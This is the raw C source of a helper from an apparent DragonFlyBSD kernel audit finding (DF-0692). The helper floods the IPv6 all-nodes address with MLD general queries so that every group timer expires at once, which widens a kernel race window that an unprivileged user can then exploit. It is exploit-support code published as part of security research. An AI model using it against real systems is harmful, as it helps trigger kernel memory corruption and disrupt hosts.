DragonFlyBSD Kernel Audit
DF-0692 / mld_query.c
← back to finding ↓ download raw
/*
 * DF-0692 helper: inject MLD general-query (ICMPv6 type 130) packets as root
 * to force mld6_input to arm ALL group timers to ~1 tick, so the next
 * mld6_fasttimeo tick walks the whole list calling mld6_sendpkt per entry
 * (much longer walk => much wider race window vs concurrent in6_delmulti).
 *
 * A real IPv6 multicast router does exactly this; the guest has no querier,
 * so we inject one as a diagnostic environmental trigger. The attacker (who
 * only races join/leave) is still unprivileged.
 *
 * Build (as root, in guest): cc -O2 -o mld_query mld_query.c
 * Run  : ./mld_query <count> <interval_ms>   (e.g. ./mld_query 1000 50)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/icmp6.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

int main(int argc, char **argv)
{
    int s, cnt = (argc > 1) ? atoi(argv[1]) : 1000;
    int interval = (argc > 2) ? atoi(argv[2]) : 50;
    struct sockaddr_in6 dst;
    struct {
        uint8_t  type;       /* 130 = MLD_LISTENER_QUERY */
        uint8_t  code;
        uint16_t cksum;
        uint16_t maxdelay;   /* htons(1) -> timer=1 tick */
        uint16_t reserved;
        uint8_t  addr[16];   /* :: = general query */
    } __attribute__((packed)) q;
    int i;

    s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
    if (s < 0) { perror("raw socket (need root)"); return 1; }

    /* send via vtnet0 (ifindex 1) -- without this, ff02::1 has no route */
    {
        unsigned int ifidx = 1;
        if (setsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &ifidx, sizeof(ifidx)) < 0)
            perror("IPV6_MULTICAST_IF (non-fatal)");
        /* also bind src to vtnet0 link-local so mld6_input's link-local-src check passes */
        struct sockaddr_in6 src;
        memset(&src, 0, sizeof(src));
        src.sin6_family = AF_INET6;
        src.sin6_len = sizeof(src);
        src.sin6_addr.s6_addr[0] = 0xfe; src.sin6_addr.s6_addr[1] = 0x80;
        src.sin6_addr.s6_addr[8]  = 0x52; src.sin6_addr.s6_addr[9]  = 0x54;
        src.sin6_addr.s6_addr[10] = 0x00; src.sin6_addr.s6_addr[11] = 0xff;
        src.sin6_addr.s6_addr[12] = 0xfe; src.sin6_addr.s6_addr[13] = 0x12;
        src.sin6_addr.s6_addr[14] = 0x34; src.sin6_addr.s6_addr[15] = 0x56;
        src.sin6_scope_id = 1;
        if (bind(s, (struct sockaddr *)&src, sizeof(src)) < 0)
            perror("bind (non-fatal)");
    }

    memset(&dst, 0, sizeof(dst));
    dst.sin6_family = AF_INET6;
    dst.sin6_len = sizeof(dst);
    /* ff02::1 all-nodes link-local — where MLD queries are sent */
    dst.sin6_addr.s6_addr[0] = 0xff;
    dst.sin6_addr.s6_addr[1] = 0x02;
    dst.sin6_addr.s6_addr[15] = 1;

    memset(&q, 0, sizeof(q));
    q.type = 130;                  /* MLD_LISTENER_QUERY */
    q.code = 0;
    q.cksum = 0;                   /* kernel computes */
    q.maxdelay = htons(1);         /* tiny -> timer=1 tick -> all expire next fasttimeo */
    /* addr = :: (general query) */

    fprintf(stderr, "mld_query: sending %d MLD general-queries to ff02::1 every %dms\n",
        cnt, interval);
    for (i = 0; i < cnt; i++) {
        if (sendto(s, &q, sizeof(q), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
            perror("sendto");
        struct timespec ts = { 0, interval * 1000 * 1000 };
        nanosleep(&ts, NULL);
    }
    close(s);
    return 0;
}